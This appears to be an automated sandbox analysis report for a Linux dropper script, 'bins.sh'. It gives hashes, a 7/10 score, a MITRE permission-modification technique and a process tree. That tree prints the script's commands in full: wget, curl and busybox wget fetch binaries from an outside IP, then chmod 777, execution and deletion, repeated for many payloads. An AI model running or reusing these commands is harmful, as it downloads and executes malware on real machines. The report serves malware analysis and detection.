a62ff32ef983fc9db393a855c7e3e7b41070a15a20c498d3ba08d55197b5d71c

Analysis

max time kernel
31s
max time network
128s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
12/01/2025, 14:36

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 10KB
Sample250112-rylfwsynfk
SHA256 a62ff32ef983fc9db393a855c7e3e7b41070a15a20c498d3ba08d55197b5d71c
MD5 5ef92ea3fc6d04b5f58588f36c6d8b8b
SHA1 b7521440aad74684a0b6172ec49a43a1514fa572
SHA512 b0966205a24db9409c5b677bcff4350e8180933c84522251661ca953d0c94f1548c4ba6135d30e15b05c60879abaf9a356ef807312879ead6262eb093b88ace4
SSDEEP 96:tcVubLb0QvYRzBZL9s9c9c9f9b950KxHzq2qaubLb0QTiR06BZBIRp9s9c9c9f95:CsYRzBZLeyKZJb0+Hz7BZqeyKZJ1HzNd
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1556	chmod
1568	chmod
1652	chmod
1562	chmod
1604	chmod
1666	chmod
1520	chmod
1532	chmod
1592	chmod
1598	chmod
1574	chmod
1586	chmod
1610	chmod
1622	chmod
1544	chmod
1628	chmod
1672	chmod
1646	chmod
1658	chmod
1678	chmod
1526	chmod
1538	chmod
1616	chmod
1634	chmod
1514	chmod
1550	chmod
1580	chmod
1640	chmod

Executes dropped EXE 28 IoCs

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT	curl
File opened for modification	/tmp/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz	curl
File opened for modification	/tmp/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd	curl
File opened for modification	/tmp/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh	curl
File opened for modification	/tmp/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP	curl
File opened for modification	/tmp/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH	curl
File opened for modification	/tmp/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0	curl
File opened for modification	/tmp/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU	curl
File opened for modification	/tmp/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11	curl
File opened for modification	/tmp/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK	curl
File opened for modification	/tmp/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27	curl
File opened for modification	/tmp/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK	curl
File opened for modification	/tmp/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5	curl
File opened for modification	/tmp/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP	curl
File opened for modification	/tmp/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU	curl
File opened for modification	/tmp/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5	curl
File opened for modification	/tmp/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2	curl
File opened for modification	/tmp/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11	curl
File opened for modification	/tmp/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0	curl
File opened for modification	/tmp/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT	curl
File opened for modification	/tmp/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz	curl
File opened for modification	/tmp/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH	curl
File opened for modification	/tmp/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG	curl
File opened for modification	/tmp/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27	curl
File opened for modification	/tmp/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG	curl
File opened for modification	/tmp/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2	curl
File opened for modification	/tmp/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh	curl
File opened for modification	/tmp/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1503
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1506
- /usr/bin/wget
  wget http://66.63.187.225/bins/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  PID:1507
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  - Writes file to tmp directory
  PID:1512
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  PID:1513
- /bin/chmod
  chmod 777 8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  - File and Directory Permissions Modification
  PID:1514
- /tmp/8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  ./8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  - Executes dropped EXE
  PID:1515
- /bin/rm
  rm 8VtZdx498VD2x9ziUHTaHaWnrE9Xundh11
  2⤵
  PID:1516
- /usr/bin/wget
  wget http://66.63.187.225/bins/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  PID:1517
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  - Writes file to tmp directory
  PID:1518
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  PID:1519
- /bin/chmod
  chmod 777 5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  - File and Directory Permissions Modification
  PID:1520
- /tmp/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  ./5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  - Executes dropped EXE
  PID:1521
- /bin/rm
  rm 5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  PID:1522
- /usr/bin/wget
  wget http://66.63.187.225/bins/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  PID:1523
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  - Writes file to tmp directory
  PID:1524
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  PID:1525
- /bin/chmod
  chmod 777 8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  - File and Directory Permissions Modification
  PID:1526
- /tmp/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  ./8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  - Executes dropped EXE
  PID:1527
- /bin/rm
  rm 8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  PID:1528
- /usr/bin/wget
  wget http://66.63.187.225/bins/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  PID:1529
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  - Writes file to tmp directory
  PID:1530
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  PID:1531
- /bin/chmod
  chmod 777 BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  - File and Directory Permissions Modification
  PID:1532
- /tmp/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  ./BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  - Executes dropped EXE
  PID:1533
- /bin/rm
  rm BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  PID:1534
- /usr/bin/wget
  wget http://66.63.187.225/bins/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  PID:1535
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  - Writes file to tmp directory
  PID:1536
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  PID:1537
- /bin/chmod
  chmod 777 so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  - File and Directory Permissions Modification
  PID:1538
- /tmp/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  ./so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  - Executes dropped EXE
  PID:1539
- /bin/rm
  rm so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  PID:1540
- /usr/bin/wget
  wget http://66.63.187.225/bins/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  PID:1541
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  - Writes file to tmp directory
  PID:1542
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  PID:1543
- /bin/chmod
  chmod 777 Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  - File and Directory Permissions Modification
  PID:1544
- /tmp/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  ./Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  - Executes dropped EXE
  PID:1545
- /bin/rm
  rm Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  PID:1546
- /usr/bin/wget
  wget http://66.63.187.225/bins/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  PID:1547
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  - Writes file to tmp directory
  PID:1548
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  PID:1549
- /bin/chmod
  chmod 777 M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  - File and Directory Permissions Modification
  PID:1550
- /tmp/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  ./M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  - Executes dropped EXE
  PID:1551
- /bin/rm
  rm M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  PID:1552
- /usr/bin/wget
  wget http://66.63.187.225/bins/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  PID:1553
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  - Writes file to tmp directory
  PID:1554
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  PID:1555
- /bin/chmod
  chmod 777 44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  - File and Directory Permissions Modification
  PID:1556
- /tmp/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  ./44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  - Executes dropped EXE
  PID:1557
- /bin/rm
  rm 44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  PID:1558
- /usr/bin/wget
  wget http://66.63.187.225/bins/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  PID:1559
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  - Writes file to tmp directory
  PID:1560
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  PID:1561
- /bin/chmod
  chmod 777 0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  - File and Directory Permissions Modification
  PID:1562
- /tmp/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  ./0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  - Executes dropped EXE
  PID:1563
- /bin/rm
  rm 0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  PID:1564
- /usr/bin/wget
  wget http://66.63.187.225/bins/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  PID:1565
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  - Writes file to tmp directory
  PID:1566
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  PID:1567
- /bin/chmod
  chmod 777 UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  - File and Directory Permissions Modification
  PID:1568
- /tmp/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  ./UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  - Executes dropped EXE
  PID:1569
- /bin/rm
  rm UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  PID:1570
- /usr/bin/wget
  wget http://66.63.187.225/bins/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  PID:1571
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  - Writes file to tmp directory
  PID:1572
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  PID:1573
- /bin/chmod
  chmod 777 JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  - File and Directory Permissions Modification
  PID:1574
- /tmp/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  ./JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  - Executes dropped EXE
  PID:1575
- /bin/rm
  rm JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  PID:1576
- /usr/bin/wget
  wget http://66.63.187.225/bins/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  PID:1577
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  - Writes file to tmp directory
  PID:1578
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  PID:1579
- /bin/chmod
  chmod 777 pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  - File and Directory Permissions Modification
  PID:1580
- /tmp/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  ./pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  - Executes dropped EXE
  PID:1581
- /bin/rm
  rm pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  PID:1582
- /usr/bin/wget
  wget http://66.63.187.225/bins/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  PID:1583
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  - Writes file to tmp directory
  PID:1584
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  PID:1585
- /bin/chmod
  chmod 777 UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  - File and Directory Permissions Modification
  PID:1586
- /tmp/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  ./UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  - Executes dropped EXE
  PID:1587
- /bin/rm
  rm UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  PID:1588
- /usr/bin/wget
  wget http://66.63.187.225/bins/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  PID:1589
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  - Writes file to tmp directory
  PID:1590
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  PID:1591
- /bin/chmod
  chmod 777 6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  - File and Directory Permissions Modification
  PID:1592
- /tmp/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  ./6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  - Executes dropped EXE
  PID:1593
- /bin/rm
  rm 6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  PID:1594
- /usr/bin/wget
  wget http://66.63.187.225/bins/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  PID:1595
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  - Writes file to tmp directory
  PID:1596
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  PID:1597
- /bin/chmod
  chmod 777 8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  - File and Directory Permissions Modification
  PID:1598
- /tmp/8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  ./8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  - Executes dropped EXE
  PID:1599
- /bin/rm
  rm 8uLlC7Jn4YIwPFpXnVE8ExiUFM14XwxXaT
  2⤵
  PID:1600
- /usr/bin/wget
  wget http://66.63.187.225/bins/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  PID:1601
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  - Writes file to tmp directory
  PID:1602
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  PID:1603
- /bin/chmod
  chmod 777 BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  - File and Directory Permissions Modification
  PID:1604
- /tmp/BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  ./BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  - Executes dropped EXE
  PID:1605
- /bin/rm
  rm BMFVYHPVXAIQhW05mBCCTCrx9TU6GUK6Dh
  2⤵
  PID:1606
- /usr/bin/wget
  wget http://66.63.187.225/bins/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  PID:1607
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  - Writes file to tmp directory
  PID:1608
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  PID:1609
- /bin/chmod
  chmod 777 so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  - File and Directory Permissions Modification
  PID:1610
- /tmp/so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  ./so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  - Executes dropped EXE
  PID:1611
- /bin/rm
  rm so8sbH3zTPb8wkgAL1yzpWy9URHJd191B0
  2⤵
  PID:1612
- /usr/bin/wget
  wget http://66.63.187.225/bins/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  PID:1613
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  - Writes file to tmp directory
  PID:1614
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  PID:1615
- /bin/chmod
  chmod 777 Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  - File and Directory Permissions Modification
  PID:1616
- /tmp/Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  ./Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  - Executes dropped EXE
  PID:1617
- /bin/rm
  rm Alu7lig3fprrIm90U3NgUXhQCuL3tdZyiK
  2⤵
  PID:1618
- /usr/bin/wget
  wget http://66.63.187.225/bins/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  PID:1619
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  - Writes file to tmp directory
  PID:1620
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  PID:1621
- /bin/chmod
  chmod 777 M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  - File and Directory Permissions Modification
  PID:1622
- /tmp/M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  ./M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  - Executes dropped EXE
  PID:1623
- /bin/rm
  rm M2KUzD9HYRZOC1W5XQtnJvMJ8atUOyoSkz
  2⤵
  PID:1624
- /usr/bin/wget
  wget http://66.63.187.225/bins/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  PID:1625
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  - Writes file to tmp directory
  PID:1626
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  PID:1627
- /bin/chmod
  chmod 777 44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  - File and Directory Permissions Modification
  PID:1628
- /tmp/44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  ./44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  - Executes dropped EXE
  PID:1629
- /bin/rm
  rm 44Rrn97X3bljCxURnOkf46wPDxtHelU1gd
  2⤵
  PID:1630
- /usr/bin/wget
  wget http://66.63.187.225/bins/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  PID:1631
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  - Writes file to tmp directory
  PID:1632
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  PID:1633
- /bin/chmod
  chmod 777 0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  - File and Directory Permissions Modification
  PID:1634
- /tmp/0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  ./0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  - Executes dropped EXE
  PID:1635
- /bin/rm
  rm 0kAi0JW456GTpD9WVqeUVOOtdmPslOKMeH
  2⤵
  PID:1636
- /usr/bin/wget
  wget http://66.63.187.225/bins/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  PID:1637
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  - Writes file to tmp directory
  PID:1638
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  PID:1639
- /bin/chmod
  chmod 777 5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  - File and Directory Permissions Modification
  PID:1640
- /tmp/5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  ./5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  - Executes dropped EXE
  PID:1641
- /bin/rm
  rm 5cUo7hl6olUduopW9sw8EXbRJlfkkmHekP
  2⤵
  PID:1642
- /usr/bin/wget
  wget http://66.63.187.225/bins/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  PID:1643
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  - Writes file to tmp directory
  PID:1644
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  PID:1645
- /bin/chmod
  chmod 777 UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  - File and Directory Permissions Modification
  PID:1646
- /tmp/UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  ./UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  - Executes dropped EXE
  PID:1647
- /bin/rm
  rm UYRHvCr1JnNltN93dfDfDZPlgAKPvld7CG
  2⤵
  PID:1648
- /usr/bin/wget
  wget http://66.63.187.225/bins/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  PID:1649
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  - Writes file to tmp directory
  PID:1650
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  PID:1651
- /bin/chmod
  chmod 777 pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  - File and Directory Permissions Modification
  PID:1652
- /tmp/pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  ./pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  - Executes dropped EXE
  PID:1653
- /bin/rm
  rm pMDEMT4Wx4CecLCdDGCTBurVfUkNz2GxNU
  2⤵
  PID:1654
- /usr/bin/wget
  wget http://66.63.187.225/bins/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  PID:1655
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  - Writes file to tmp directory
  PID:1656
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  PID:1657
- /bin/chmod
  chmod 777 UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  - File and Directory Permissions Modification
  PID:1658
- /tmp/UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  ./UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  - Executes dropped EXE
  PID:1659
- /bin/rm
  rm UuwCiDwyLnG8RLRfpNeoaggITaMTH8sHQ5
  2⤵
  PID:1660
- /usr/bin/wget
  wget http://66.63.187.225/bins/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  PID:1661
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  - Writes file to tmp directory
  PID:1662
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  PID:1663
- /bin/chmod
  chmod 777 6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  - File and Directory Permissions Modification
  PID:1666
- /tmp/6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  ./6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  - Executes dropped EXE
  PID:1667
- /bin/rm
  rm 6MuHm9lWa8HnqW25hislJYwJDwoyG0Ul27
  2⤵
  PID:1668
- /usr/bin/wget
  wget http://66.63.187.225/bins/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  PID:1669
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  - Writes file to tmp directory
  PID:1670
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  PID:1671
- /bin/chmod
  chmod 777 JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
  2⤵
  - File and Directory Permissions Modification
  PID:1672
- /tmp/JHcPbxuGDKuTJnt3lWEoKAR0zAEOVmjml2
